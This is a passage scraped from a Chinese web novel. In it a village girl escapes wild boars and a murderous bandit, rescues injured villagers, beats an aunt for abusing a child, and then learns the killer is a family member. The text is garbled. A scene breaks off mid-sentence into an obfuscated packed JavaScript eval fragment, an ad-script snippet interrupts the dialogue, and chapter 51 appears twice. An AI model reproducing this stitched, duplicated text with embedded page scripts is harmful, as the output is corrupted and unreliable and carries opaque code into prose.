穿过荆棘丛,赵榆提着气来到那头野猪的身后,相距仅仅只有一个人身。 她也不知道自己怎会有这般大的胆量,竟然悄无声息的离这头壮硕东西这么近! 极力压下想要逃跑的念头,赵榆稳住发颤的手,紧紧将锄头握在手中。 野猪暂且还没发现她,它仍在甩着那硕大的猪脑袋,只为把嘴里的“食物”给咬下来。 离得近了,赵榆这才识出这人不是刘贵,而是那位想跟随刘贵进山挖笋,却被拒绝之人。 这人气息奄奄,再次被猪摇扯后,他面庞对向了赵榆,原本失了活气的眼顿时睁大,像是看到了逃命的机会,他瞬间恢复了些力气,向赵榆扑去,拼着命地朝她伸手,嘶哑喊道:“救我!救我!我不想死!” 他的这番挣扎,使扯着人腿的猪受到惊动 赵榆脸色一变,赶在猪发现她之前,举起锄头,狠狠朝着它的头砸去。 她使足了力,奔着将猪敲晕的气势,但奈何失了准头,没砸到猪头,而是落在了脖颈那处。 野猪吃痛嘶鸣! 赵榆一惊,试图再次举起锄头,趁着猪没缓过神再砸一次。 然,无论她如何使力,锄头始终动不了,惊惧中,瞥见猪脖颈不断往外冒血,这才意识到她将锄刃砸进了它的肉里。 再顾不上其他,赵榆松了锄头,立即转身往荆棘丛中钻,她拼命往外挤,手上被树刺划出一道道红痕也全然不在乎。 这时,余光瞥见不远处有一个棕黄的身影蹲在荆棘中。 是猴子! 它不知道什么时候跟着她钻进来,此时正一门心思地在舔着它那灰扑扑的爪子! 赵榆咬牙,这都什么时候了,还蹲那一动不动!也不怕野猪群躁动起来,将它踩成猴饼! 赵榆只能变动方向,钻过去,将它一把抱在怀里,带着它一道往右侧方向跑。 那边有棵枝繁叶茂又极为粗壮的树,她只要爬上去就能躲开野猪。 这是她决定去救人前,一早选定好的退路。 野猪还在嘶吼,它脖颈砸进锄刃,很深,鲜血不断流出,它撒开四蹄,拖着锄头蒙头乱撞,跑进野猪群里,将所有的猪都惊动起来。 身后响起杂乱的跑动声,是野猪追了上来! 赵榆奋力往前跑,不敢回头。 她该庆幸那头咬人的猪离野猪群较远,否则她哪有逃命的机会。 野猪横冲直撞跑得十分的快,她本想借用荆棘丛拦上一拦,奈何野猪皮糙肉厚,根本不怕那些树刺,直接迅猛地从荆棘中冲了出来。 这下逃跑的时间缩短许多。 好在那棵树离的不远,在浑厚的跑动声越发重了时,赵榆终于赶到。 她将猴子丢下,双腿蹬地奋力一跃,双手紧抓枝丫,凭着之前爬梨树练就的本事,四肢并用,很快就上了树。 不等她爬到高处,野猪已经来到了树下,但他们似乎是一根筋,只闷头往前跑,并没察觉它们要追的人已经爬到树上。 见猪群跑远,赵榆整个人一阵松软,差点从树上滑落下去。 蜜蜂、野猪,都是能要人命的东西,她竟连着碰见,想想都觉得自己命大! 赵榆没有立即下树,而是确定野猪群不会再回来,这才带着猴子去查看那人的伤势。 伤得很重,两条腿血淋淋的,这种情况想要走下山,完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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伤了腿,又出不了深洞,刘贵以为自己这次完了,就是烂在这里也不会有人知道。 正当他绝望之际,突然听到有人在唤他,刘贵喜不自胜,连忙大声回应着,好在终于将人给引了过来。 刘贵眼眶忍不住发热,“赵妹子,还好你来了!” 这洞实在太深,因雨雪天,这处更加湿滑,赵榆站在这里都得十分注意,担心自己一不小心也给摔了下去。 “刘大哥,你怎掉进这里头了?” 刘贵苦笑,“运气不好遇见了野猪群,逃跑的时候一不小心就跌了下来。” 赵榆一听,想起那边还晕着的人,感慨道:“你也算因祸得福,虽掉进洞里,可也躲过了那群野猪,另一个人就没这么好运,双腿都被野猪咬坏了。” 刘贵听了没有一丝同情,反倒冷哼一声,骂道;“活该!” 赵榆也没多问,她得想法子先将他弄出来,可当视线落在他勾着的腿时,她震惊问道:“刘大哥,你也伤了腿?” 刘贵无奈点头。 他腿折得不轻,想爬出十米深的洞实在太难,单凭赵榆外加没什么大用的猴子显然不行。 如此,赵榆只能先下山喊人帮忙。 51. 第五十一章 额头不断有汗珠滑下,赵榆也顾不上擦,上山的路不好走,哪怕她进了数趟,依旧吃力。 且她今日几乎一直在跑动,除了跟着猴子吃了几个野果外,她未在进食,没了力气,就连双腿都开始发软。 但好在随着她进得深了,之前一直追在身后的动静已经有一会儿没听见…… 赵榆没停,仍旧继续往深处跑。 直到双腿再没了力气,她这才瘫坐在地,竹筐也因过于沉重重重落在地上 “哇哇!” 在筐子里窝着十分舒服的猴子被这股力震了一下,嚷了几声以示不满。 赵榆胸口起伏,大口喘息着,缓了好一会儿,这才将双手从竹筐的背肩中抽出,费力地转过身面朝竹筐,将筐口遮掩的物什拿掉。 没了遮挡,猴子也从筐中探出头来。 赵榆抬手揉了揉它毛茸茸的脑袋,将它抱出来,搂进怀里,这下也不嫌弃它身上的那股烂水沟的淤泥味,将脸埋进它的毛里,好一番摩擦。 这次真的是死里逃生! 之前那群野猪虽也能要人命,却不曾让她如此骇然。 眼中再次浮现那把带血的刀,以及紧追她不放的人,赵榆受不住地再次打了个寒颤。 刚刚她离死仅一步之遥! 她将猴子又抱紧了些许,直到脸上被猴毛捂得发热,她这才心下稍安。 万幸,她与猴子此时得以安然无恙。 另一边,落在最后头的男人追了上来,急忙开口问道:“人呢?抓到了么?” 握刀之人面色深冷,一双戾眼迅速扫过四周。 片刻之前,这处草木还因有人跑过而微微晃动,带他提刀赶来时,不曾想挥斩之下竟落了空,人不仅不在,还跑得无影无踪。 这人恶声回道:“跑了!” 男人惊讶,“跑了?”他显然十分难以置信,竟有人能从对方的手里跑脱,这边村落什么时候出现这么一位能人了? 他一边琢磨着,一边忍不住好奇,实在是眼前之人似乎从不曾失手,怎么这次…… 那人瞥了男人一眼,知晓他在想什么,如实道:“她对这片山十分熟悉。” “比你还熟?” 对方盯着人影消失的地方,未在作声。 男人随着他看去,那方向可是往深山老林去的,眼见着时间已经不早,进去岂不是送死? 他面色复杂,能出现在这片山的,都是家居附近,若是可以他也不想让人死,可对方看了不该看的,只能想法子让人闭嘴。 既然对方进了深山,倒也省的他们再动手。 男人收回视线,看向面前之人,问道:“咱们现在可下山?” 握刀之人没立即回答,若是一般人进了深山定然不会活着出来,但依着方才对方对这片山的熟悉程度,他隐隐觉得这人不会轻易死在山里。 …… 待气息稍稍平顺之后,赵榆起身将竹筐重新背上。 还有两人等着她下山喊人去救,时间耽搁越久,他们越危险,眼见着天已渐黑,即便不会再碰上食人的野畜,一旦山中温度低下来,刘贵他们只会越受罪,弄不好会直接丢了命。 原以为走小道会早早下山,不想却撞见杀人一幕。 赵榆看了眼周围,为了甩脱匪徒,她拼了命往深山跑,此时她不仅离九龙村远了,离刘贵他们也不近。 望向逃来的方向,赵榆不敢寄希望于那两人会离开,如此,她只能重新绕路。 对树顶的猴子招呼一声,她这才向着更深的方向走。 随着她走过,几节断枝和几个模糊的鞋印出现在身后,赵榆回头看了眼,没去抹除。 密林昏暗,因一人一猴的离开,才静下没多久的山林再次响起脚步声。 一高大身影执刀立在其中,所站之地恰是前人不久前瘫坐的地方。 他低头看向地上的痕迹,明白对方曾在这里休息过。 他继续深进,沉眼打量四周,当发现几节新鲜断枝坠坠地挂再枝头,地面还留有些许几个模糊的鞋印时,他终于不再往前。 赵榆往深处走了一段之后,等了片刻,见身后仍旧没有一丝动静,这才心下微松,随即转头向着另一个方向迅速穿梭。 赵榆不知道那两个匪人会不会追进来,若他们当真为求心安,想要将她斩草除根,她希望自己刻意留下的痕迹能产生效果。 深山危险,谁能保证进去了就能活着出来,只要让他们误会她进了深处,想必他们不会再紧咬不放。 赵榆跑得极快,林子穿的多了,她十分熟练,加上身形灵巧,没一会儿就消失在一片密林之中。 因绕了远路,等赵榆出现在山脚下时,天已经昏黑一片。 她喘了一口气,拖着酸疼的腿继续快步往周家赶。 周家院门大开,堂屋罕见地再次点了油灯,昏黄的屋内响起大牛的哭豪以及方春梅的斥骂声。 “哭什么哭!讨人厌的玩意儿,不知道的还以为是你娘出啥事儿了呢!”方春梅趁着人都不在,毫不遮掩地伸手拧他胳膊上的肉,“不过是个外人,死了便死了,用得着你哭丧?!” 大牛因疼痛,哭得越发凄惨。 方春梅还嫌不够,换了地方要拧大牛的腰间软肉,一边拧一边骂,“都是糊涂东西,死在大山里不是更好,到时候被那些野畜啃了骨头,还省得备棺材!” “那两个老的也是个蠢的,作甚要去山里找?死人找回来又如何,最终还不是要埋进山里!” “平白给自己找事不说,还给家里添晦气!” 大牛哭得大声,一边哭喊着要榆阿姐回来,一边缩着小身子,躲开方春梅的手,痛叫着让四婶不要打他。 大牛觉得身上到处都疼,忍不住喊着娘,“娘,大牛好疼!娘,你快来救救大牛!” 卧房内响起沉闷声,像是有人摔倒在地发出的动静,紧着着就是一声声唤着大牛的声音,以及凄楚地请求四弟妹发发好心,不要折腾大牛,有什么事可以冲着她来。 方春梅听见那一声声的哀求,心下受用,却仍旧不停手,她一手扯住大牛不让他离开,另一只手使劲往他身上掐。 扈娘的声音虚弱又哀痛,断断续续的,像是随时都有可能断气,方春梅可不管,继续拿大牛消气,嘴里骂道:“瞧你那老子娘,连儿子都保护不了,还活着作甚?不如死了算了!花那么多药钱,还拖着一个破身子,日日还要吃我的鸡蛋,真真是不要脸!” 越说越气,她咬牙,手里愈加用力,大牛泪水糊满脸,痛哭不已。 正在这时—— 锄头柄抡起,惊起一阵风,随即结实的砸在背脊上。 “啊!” 方春梅吃痛尖叫出声,再顾不上手里的大牛,她跳将起来,嘴里哎呦哎呦个不停,反着手不停地往身后揉摸,“好痛!好痛!” 没等她将痛意揉下去,锄头柄再次甩过来,落在她的背上,连带着她的手背也被锄头柄砸中。 发春梅叫的越发的惨,“啊!我的手!我的背!” 她跳着脚,一时间不知道是揉背还是捂手! 大牛被松开后,他哭着想要躲开,一转头就见榆阿姐站在身后,他哭的更伤心了,“榆阿姐!” 赵榆反拿着锄头狠狠打在方春梅身上,一下不解气,又是一下! 赵榆看了眼哭得双眼红肿的大牛,双唇紧抿,随即瞪向手脚忙乱,兀自痛呼的方春梅,再次举起锄头挥过去。 方春梅见打她的人是赵榆,是又惊又气,她尖利着嗓子喊道:“好你个贱丫头,竟敢打我,我跟你拼了!” 然而她再是张牙舞爪,空手白拳的也不是赵榆的对手。 锄头这农具赵榆用得十分熟练,之前她不仅用这柄锄头锄死蛇,还砸死过兔子,眼下虽用得是锄头柄,她依旧指哪打哪。 方春梅敢伸手挠她脸,锄头柄便砸她的手,跟抬脚踢她,锄头柄不客气地落在她的腿上。 将她打的哭爹喊娘! 方春梅又痛又害怕,赵榆锄头舞得好,她打不过她,只能扯着嗓子哀嚎道:“别打了别打了!我好痛!” 哀求完,见赵榆不停手,又开始哭喊着威胁道;“你敢打我,周家人不会放过你的!还有我男人,周青,一定会将你赶出周家!” 回应她的是又一结实的锄头柄! 一通打之后,赵榆总算停了手,放声道:“下次再让我看见你敢对大牛二牛下手,我不会放过你!锄头柄不称手,我直接换成柴刀!” 说出这话时,赵榆脑中不自觉又想起了那把带血的银色大刀,心中再次一抖,却仍旧维持狠意盯着方春梅。 大牛见赵榆停下了,立即冲过去抱住赵榆的腿哭豪,一会儿说大牛想榆阿姐,一会儿又说自己身上被四婶掐的好痛,然后一阵哭,哭得好不委屈! 赵榆心疼,忙蹲下身,放下手里的锄头,将他抱在怀里安慰。 “大牛身上哪里疼,给榆阿姐看看?” 大牛啜泣着,掀起身上的小袄子,露出胖乎乎的肚子,然后指着腰侧道:“这里痛!”紧接着又指了指胳膊,又抬起短短的胳膊试图指后背,奈何穿着袄子不太灵活,他瘪嘴委屈道:“大牛浑身都痛!” 赵榆看着他白嫩嫩的软肉上已经泛红的指印,才消下去的火气又浮了上来。 大牛身上还穿袄子呢,就是这样都留下这么深痕迹,这得掐得有多用力?! 赵榆再次瞪向方春梅,一只手给大牛揉着伤痕,另一只手试图去拿锄头。 方春梅又气又疼,眼泪也流了满脸,她缩在角落,狠狠瞪着那一大一小,心里不住地咒骂,可当瞧见赵榆又要去握锄头时,她整个人一机灵,反应过来,速度极快地逃离堂屋,往她自个儿的屋里躲。 见四婶跑了,大牛还带着泪的笑脸笑将起来,“四婶坏!榆阿姐将坏人打跑了!” 赵榆被他逗笑,揉了揉他的脑袋这才问道:“你爷奶呢?还有你爹呢?” 他们定然是不在家,否则也不会任由方春梅将大牛欺负的这么惨。 大牛悠着赵榆给自己擦脸,将自己知道的都说了出来。 原来是她这么久没回来,周婆子周老汉急得不行,往进山的入口处看了好几回,也没瞧见人影,等到天完全黑下来,还没等到她回来。 他们这才心中不安,觉得是赵榆在山里头出事了。 赵榆虽每次下山都不早,可从没这么晚过,周家老两口觉得事情不对,便焦急忙慌的去了刘家,想要请刘贵帮忙带他们进山寻人。 刘贵毕竟是经常出入大山,对山的熟悉定是比他们这些人多,有他领着,将赵榆带回来的把握能大上不少。 从大牛东一句西一句的描述中,赵榆差不多理清所有,也就是说眼下周叔周婶去了刘家寻刘贵,然后打算上山去寻她? 这定然行不通! 寻不到刘贵不说,他此刻还待在坑洞里,等着她去救呢! 赵榆立即起身,打算去灶房绑个火把,临踏出门前,她想到什么,端起桌上的油灯,牵着大牛往屋内走。 大牛刚刚哭的那般凄惨,他娘定是很急,还是先领着大牛给她看看,可别急出好歹来。 卧房门未关,里头漆黑,赵榆在门口唤了两声后,这才小心地端着油灯进去。 然,当看见摔在地上的人时,赵榆手一抖,差点没拿稳油灯,惊呼道:“周二搜!” 忙将灯搁下,急着去扶人。 大牛还没干透的双眼再次含泪,冲过去,泣声喊道:“娘!大牛扶你起来!” 扈娘听着大牛哭声,心急,想要去阻止,奈何身子不管用,竟从床上摔了下来。 黑灯瞎火的,也看不见,她没扶稳,这才跌得重了。 赵榆将人重新扶上床,又为其将被褥盖上,地上凉,这么一会儿对方身上已经透着股寒气。 帮着将褥子压严实,这才问她可有摔伤哪里。 大牛娘笑着安抚他们,“不碍事……只膝上……摔的……疼了一些,好在已经…..缓和不少。” 没事便好,赵榆将位子让给大牛,让她能瞧得仔细,“大牛已经没事,你不用担心。” 大牛也很配合,小手抬起抹掉眼泪,然后像模像样地隔着被子拍了拍他娘的胸口,道:“娘好好休息,大牛不哭,大牛厉害着!” 扈娘看着儿子带着泪痕的脸,心中涩然,她忍着酸楚,含笑道:“大牛厉害,娘一直都知道。” 大牛挺了挺小胸膛,双眼都笑眯了起来。 扈娘复又看向赵榆,迎着暗黄的灯光,她看清对方脸上有两道新鲜的划痕,像是被刺条划过,忧心问道:“今日可是......遇见危险了?” 她是真心为赵榆担忧,山中危险重重,她自是知晓。在她身子还未坏时,也常常和村里妇人结伴上山寻食捡柴,当时还曾见过一只尚未成年的虎。 连浅山都有这些骇人的野畜,遑论大山里头了,定然是凶险万分。 扈娘趴在冰冷的地面时,听着儿子大牛的哭声,她心都在滴血,既恨自己无用,连走出屋子这点小事都做不到,又恨四弟妹方春梅心狠,她的大牛才五岁,那方氏是如何下得去手?! 就在她五指抓地,悲痛欲绝,试图爬出去阻止时,她听见了方氏的痛叫声,以及那木棍落在身上时砸出的闷响…… 扈娘心松了,整个人失力地趴伏在地。 终于......终于有人来帮她的大牛! 她感激赵榆,也无比希望赵榆能平安。 赵榆一愣,为了让她安心,没说别的,只简要说了刘贵两人有难一事。 说完,也不再停留,她得快些去刘家将事情说清楚,再叫上几人去山里将人救回来。 和大牛娘说了一声后,就要带上油灯离开。 临走时扈娘让赵榆将大牛带上,外面黑,年轻姑娘走夜路不安全,让大牛给她作伴。 赵榆没再推辞,时间紧迫,她牵着大牛先去了灶屋随手绑了个火把,点燃后,两人这才往院外走。 这时院门外响起脚步声,沉重有力。 赵榆听了,以为是周叔周婶他们回来了,牵着大牛快走几步,开口唤道:“周叔周——” 声音一窒,如同被人掐住了脖子,最后一个字如何都发不出来! 赵榆看着出现在眼前的高大身影,像是受于压迫般,止不住地后退了两步。 火把她扎得简洁,仅用稻草绳裹着些许松脂绑在木柴一头,形成一个小小的草绳包,燃起的火光也小的可怜,可即便如此,它依旧照清了院门外的男人。 仍旧是之前的装扮,短褐外罩着一层兽皮,将孔武有力的身躯衬的越发气势尽显。 他身量很高,像是为了确认般,她举着火把的手微不可查地缓缓上升,似要将对方的面孔也照个清晰。 赵榆视线从下至上,虚空着目光一点点划过,下巴、鼻梁、再到——那双眼睛! 赵榆瞳仁微颤,火把也似有千金重,火光微晃,即将要从她手中掉落。 赵榆立即松了牵住大牛的手,迅速抬起,将不稳的火把握住。 两只手紧紧将其稳住,似乎只有这样才能免于打草惊蛇,才能掩盖自己的慌乱,让对方不至于从晃动的火光中察觉到她的异样来。 赵榆的心跳的极快,眼前的正是杀人的匪徒,也是试图将她灭口的人! 可他……又怎么会找上门?! 是来杀她的么?! 赵榆脑中一片混乱,却又极力试图想出对策。 将火把稳住后,她伸手想要将大牛拢到身边来……< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这时,大牛突然出声喊道:“三叔!三叔回来啦!” 这人长得太高,大牛仰头看了好一会儿,才认出这是自家三叔。 大牛见三叔回来了,很是高兴,小脸扯出大大的笑来,但碍于三叔长得太过吓人,他不敢过去,仍旧紧紧抱着赵榆的腿不放。 周禾双眼一直盯着眼前的女人,即便听见稚子声,也未移开视线。 赵榆内心正焦躁不安,突然听见大牛的这声称呼,整个人都惊住。 三叔? 这匪人莫不是周家老三,周禾?! 原还在想着对策的脑子顿时空了空,一时间竟不知道该如何反应。 杀人的竟是周叔周婶的儿子!大牛二牛的三叔竟是追杀她的人! 这种关系宛如一大闷棍砸在了她的脑袋上,头晕转向,让她明辨不了是非。 正当她飘忽空茫时,他开口了。 “你是谁?”声线清冽,透着冷沉。 我是谁? 赵榆脑中愣愣的一遍又一遍重复这三个字。 我是谁,我是目睹你杀人的人,也是被你试图灭口,死里逃生的人。 赵榆再次抬眼对上那双眼睛,瞬间像是被扼住了心口,呼吸都跟着困难起来,“我——” 大牛抬头看了看榆阿姐,复又盯住三叔。三叔长得这般吓人,把他榆阿姐都给吓住了,大牛小身子一挺,大声道:“三叔,这是我榆阿姐!” 赵榆微微松了口气,幸好大牛帮她说了,否则被这人这般盯着,她实难出声。 周禾重复,“榆阿姐?” 对方依旧盯着她,但好在大牛替她回了话,让她得以在这眨眼功夫里平复心绪,恢复冷静。 赵榆面色未变,闻言点了点头,解释道:“我来周家已将近四个月之久,是周婶从人牙子手里将我带回来的。” 周禾与她微颤的清眸对视好一会儿,这才移开视线,瞥向与他保持距离的大牛,问道:“你们去哪?” 赵榆还没为对方从她身上移开目光松口气,就听见这个问题,顿时心中一跳。 大牛不知晓赵榆复杂的心思,见三叔问他,便回答他们是去刘家,去寻爷奶。 赵榆此刻一颗心高悬。 她有极其重要的事在身,那便是赶去刘家,将刘贵被困深山的事说与他们,可这事一旦开口,她今日出入山中的事就包不住。 一旦身边的人知道她从深山中下来,定会怀疑起她,如此,她还能跑的掉么?! 可若不说刘贵之事,她致死都会愧疚,身背两条命不比周禾抹人脖子强上多少,无论如何她都做不出。 赵榆心慌的不行,然而不等她思索出什么来,外头响起了说话声,随着隐隐绰绰的火光快速向这边靠近。 听声音,来人是周老汉和周婆子他们。 待他们到了院门口,这才发现回来的不止周家老两口,他们身后还跟着好些个人。 有刘贵媳妇刘三娘,此时她双眼微肿,显然是不久前才哭过;有王家村长以及他的大儿子王大柱外加被村长叫上的一些个村里的青壮;剩余的则是些面容陌生,约莫是大河村的人。 赵榆想起山里头被野猪咬坏双腿的人,心中有了数。 视线继续划过,落在站在王家村长身后的那个男人身上,赵榆面上不动声色,心中却是一咯噔,这人竟也是九龙村人,看他的站位以及面容,似乎与王家有关系。 赵榆想起了之前王大柱在周家提到的人,他的三弟,王三柱。 说王三柱随周禾一同外出走镖,如此看来,这人便是了。 赵榆心中一片焦郁,她那般逃命,不仅没甩脱,反倒与这两个匪人越发的近。 才庆幸死里逃生没多久,不想竟再次被刀抵住了脖子…… 正想着,双手被周婆子一把拉住,她又喜又怒,“你个不听话的丫头!怎的到现在才回来?!说过多少遍山里危险,让你早早下山,你怎就不听?!” 虽是气急大骂,可在场的人不难看出周婆子言语中的喜意和庆幸。 周老汉也举着火把靠近,随着火光打量赵榆全身,见她安然无恙,好手好脚,也跟着松口气,“回来就好!回来就好!” 周婆子拉着赵榆不放,离得近了,发现她脸上被划了几道红痕,周婆子眉头随即一皱,严声问道:“你怎的现在才出来?可是在山里遇见了危险?!” 刘三娘见着赵榆安全回来,眼神一亮,忙挤过众人上前来,心急问道:“赵妹子,我家刘贵也进山了,你可瞧见他了?” 赵榆来不及回答周婆子,她看向刘三娘,对方声音哽咽,双眼紧紧盯着自己,饱含期待。 这事一点也不能藏着掖着。 赵榆见此,点头道:“刘大哥没事,只是跌落坑洞摔到了腿,石洞太深,凭我一个人无法将他拉上来,我只能先下山喊人。” 刘三娘一听整个人一松,差点站立不住,好在被周婆子扶住了。 万幸……万幸她家男人还活着,虽然听到还摔了腿,刘三娘虽心疼却已经安心不少,腿摔了就待在家里好生养着,只要命没丢就好。 “你进了山?” 在其他人都因赵榆这话而庆幸时,这问题一出,显得十分突兀。 冷冽的声音响起,周遭七嘴八舌的安慰声顿时一熄,众人寻着声望去,这一看发现这人竟是周家老三。 夜色漆黑,即便点了火把,也只是让人看清路面不至于摔倒,至于人面,被火照得一片黄,光影摇曳,也看不分明。 加上今夜情况不同,两个村子都有人进山未归,若不是周禾突然出声,他们也只当他是隔壁大河村的人。 至于周老汉周婆子两人,一开始也是焦虑,等他们进院门往里一瞧,竟见到焦虑的源头正好端端在院里站着,他们太过欣喜,自然也就没注意到三郎竟然已经归家了。 周婆子也跟着看过去,见是她家周禾,惊喜不已,“老三?!几时回来的,怎的也不开口提醒我和你爹?” 见到周禾,其余人面色多少都有些复杂,唯有王家村长干皱的脸上带着笑意,问道:“周三,我家三柱呢?可回来了?” 不等周禾回答,村长身旁的王大柱已经先一步提醒他爹,指着他身后道:“人就在你身后。” 村长一愣,连忙转头,就见他家三子果真站在身后,也不知是何时出现的。 他眉头一扬,就像开骂,但念到此时还有更重要的事,便将这气忍了下去,等将刘贵他们救回来,他再骂不迟。 周禾依旧紧盯赵榆,阴戾的目光落在她的面庞上,泛着冷意,再次开口问道:“你在山里看见了什么?” 在他问上一个问题时,赵榆就心口狂跳,她知晓,对方已经开始怀疑。 在场除了赵榆,没人能懂他问这话的含义。 就连王三柱也没立刻理解。他当时没发现林中藏了人,自然也不知道那人是男是女,只在身影飞快闪过时,大致看出那人是个身形不大的。 但他对周禾还算了解,连着向人姑娘问了两遍问题,十分奇怪,不太符合他的作态。 他心里疑惑,然而其余人却没察觉出不对来。 就连周婆子也只当老三是要打听刘贵两人遇险的原因。 于是她也看向赵榆,等着她回答。 面前之人敏锐、心狠,赵榆宛如站在悬崖边,一只脚已经凌空。 她费了极大的力才暂且压下心中的惧意,她看向周禾,面色如常的与他对着,在心里数了三声后,这才移开视线,看向周婆子等人。 赵榆不知从哪听说过,与人对视时,坚持三个数假意都能显出三分真来。 她现在要做的,即是不能在这两个匪人面前露怯。 于是她道:“野猪,我看见了一大群野猪!” 51. 第五十一章 额头不断有汗珠滑下,赵榆也顾不上擦,上山的路不好走,哪怕她进了数趟,依旧吃力。 且她今日几乎一直在跑动,除了跟着猴子吃了几个野果外,她未在进食,没了力气,就连双腿都开始发软。 但好在随着她进得深了,之前一直追在身后的动静已经有一会儿没听见…… 赵榆没停,仍旧继续往深处跑。 直到双腿再没了力气,她这才瘫坐在地,竹筐也因过于沉重重重落在地上 “哇哇!” 在筐子里窝着十分舒服的猴子被这股力震了一下,嚷了几声以示不满。 赵榆胸口起伏,大口喘息着,缓了好一会儿,这才将双手从竹筐的背肩中抽出,费力地转过身面朝竹筐,将筐口遮掩的物什拿掉。 没了遮挡,猴子也从筐中探出头来。 赵榆抬手揉了揉它毛茸茸的脑袋,将它抱出来,搂进怀里,这下也不嫌弃它身上的那股烂水沟的淤泥味,将脸埋进它的毛里,好一番摩擦。 这次真的是死里逃生! 之前那群野猪虽也能要人命,却不曾让她如此骇然。 眼中再次浮现那把带血的刀,以及紧追她不放的人,赵榆受不住地再次打了个寒颤。 刚刚她离死仅一步之遥! 她将猴子又抱紧了些许,直到脸上被猴毛捂得发热,她这才心下稍安。 万幸,她与猴子此时得以安然无恙。 另一边,落在最后头的男人追了上来,急忙开口问道:“人呢?抓到了么?” 握刀之人面色深冷,一双戾眼迅速扫过四周。 片刻之前,这处草木还因有人跑过而微微晃动,带他提刀赶来时,不曾想挥斩之下竟落了空,人不仅不在,还跑得无影无踪。 这人恶声回道:“跑了!” 男人惊讶,“跑了?”他显然十分难以置信,竟有人能从对方的手里跑脱,这边村落什么时候出现这么一位能人了? 他一边琢磨着,一边忍不住好奇,实在是眼前之人似乎从不曾失手,怎么这次…… 那人瞥了男人一眼,知晓他在想什么,如实道:“她对这片山十分熟悉。” “比你还熟?” 对方盯着人影消失的地方,未在作声。 男人随着他看去,那方向可是往深山老林去的,眼见着时间已经不早,进去岂不是送死? 他面色复杂,能出现在这片山的,都是家居附近,若是可以他也不想让人死,可对方看了不该看的,只能想法子让人闭嘴。 既然对方进了深山,倒也省的他们再动手。 男人收回视线,看向面前之人,问道:“咱们现在可下山?” 握刀之人没立即回答,若是一般人进了深山定然不会活着出来,但依着方才对方对这片山的熟悉程度,他隐隐觉得这人不会轻易死在山里。 …… 待气息稍稍平顺之后,赵榆起身将竹筐重新背上。 还有两人等着她下山喊人去救,时间耽搁越久,他们越危险,眼见着天已渐黑,即便不会再碰上食人的野畜,一旦山中温度低下来,刘贵他们只会越受罪,弄不好会直接丢了命。 原以为走小道会早早下山,不想却撞见杀人一幕。 赵榆看了眼周围,为了甩脱匪徒,她拼了命往深山跑,此时她不仅离九龙村远了,离刘贵他们也不近。 望向逃来的方向,赵榆不敢寄希望于那两人会离开,如此,她只能重新绕路。 对树顶的猴子招呼一声,她这才向着更深的方向走。 随着她走过,几节断枝和几个模糊的鞋印出现在身后,赵榆回头看了眼,没去抹除。 密林昏暗,因一人一猴的离开,才静下没多久的山林再次响起脚步声。 一高大身影执刀立在其中,所站之地恰是前人不久前瘫坐的地方。 他低头看向地上的痕迹,明白对方曾在这里休息过。 他继续深进,沉眼打量四周,当发现几节新鲜断枝坠坠地挂再枝头,地面还留有些许几个模糊的鞋印时,他终于不再往前。 赵榆往深处走了一段之后,等了片刻,见身后仍旧没有一丝动静,这才心下微松,随即转头向着另一个方向迅速穿梭。 赵榆不知道那两个匪人会不会追进来,若他们当真为求心安,想要将她斩草除根,她希望自己刻意留下的痕迹能产生效果。 深山危险,谁能保证进去了就能活着出来,只要让他们误会她进了深处,想必他们不会再紧咬不放。 赵榆跑得极快,林子穿的多了,她十分熟练,加上身形灵巧,没一会儿就消失在一片密林之中。 因绕了远路,等赵榆出现在山脚下时,天已经昏黑一片。 她喘了一口气,拖着酸疼的腿继续快步往周家赶。 周家院门大开,堂屋罕见地再次点了油灯,昏黄的屋内响起大牛的哭豪以及方春梅的斥骂声。 “哭什么哭!讨人厌的玩意儿,不知道的还以为是你娘出啥事儿了呢!”方春梅趁着人都不在,毫不遮掩地伸手拧他胳膊上的肉,“不过是个外人,死了便死了,用得着你哭丧?!” 大牛因疼痛,哭得越发凄惨。 方春梅还嫌不够,换了地方要拧大牛的腰间软肉,一边拧一边骂,“都是糊涂东西,死在大山里不是更好,到时候被那些野畜啃了骨头,还省得备棺材!” “那两个老的也是个蠢的,作甚要去山里找?死人找回来又如何,最终还不是要埋进山里!” “平白给自己找事不说,还给家里添晦气!” 大牛哭得大声,一边哭喊着要榆阿姐回来,一边缩着小身子,躲开方春梅的手,痛叫着让四婶不要打他。 大牛觉得身上到处都疼,忍不住喊着娘,“娘,大牛好疼!娘,你快来救救大牛!” 卧房内响起沉闷声,像是有人摔倒在地发出的动静,紧着着就是一声声唤着大牛的声音,以及凄楚地请求四弟妹发发好心,不要折腾大牛,有什么事可以冲着她来。 方春梅听见那一声声的哀求,心下受用,却仍旧不停手,她一手扯住大牛不让他离开,另一只手使劲往他身上掐。 扈娘的声音虚弱又哀痛,断断续续的,像是随时都有可能断气,方春梅可不管,继续拿大牛消气,嘴里骂道:“瞧你那老子娘,连儿子都保护不了,还活着作甚?不如死了算了!花那么多药钱,还拖着一个破身子,日日还要吃我的鸡蛋,真真是不要脸!” 越说越气,她咬牙,手里愈加用力,大牛泪水糊满脸,痛哭不已。 正在这时—— 锄头柄抡起,惊起一阵风,随即结实的砸在背脊上。 “啊!” 方春梅吃痛尖叫出声,再顾不上手里的大牛,她跳将起来,嘴里哎呦哎呦个不停,反着手不停地往身后揉摸,“好痛!好痛!” 没等她将痛意揉下去,锄头柄再次甩过来,落在她的背上,连带着她的手背也被锄头柄砸中。 发春梅叫的越发的惨,“啊!我的手!我的背!” 她跳着脚,一时间不知道是揉背还是捂手! 大牛被松开后,他哭着想要躲开,一转头就见榆阿姐站在身后,他哭的更伤心了,“榆阿姐!” 赵榆反拿着锄头狠狠打在方春梅身上,一下不解气,又是一下! 赵榆看了眼哭得双眼红肿的大牛,双唇紧抿,随即瞪向手脚忙乱,兀自痛呼的方春梅,再次举起锄头挥过去。 方春梅见打她的人是赵榆,是又惊又气,她尖利着嗓子喊道:“好你个贱丫头,竟敢打我,我跟你拼了!” 然而她再是张牙舞爪,空手白拳的也不是赵榆的对手。 锄头这农具赵榆用得十分熟练,之前她不仅用这柄锄头锄死蛇,还砸死过兔子,眼下虽用得是锄头柄,她依旧指哪打哪。 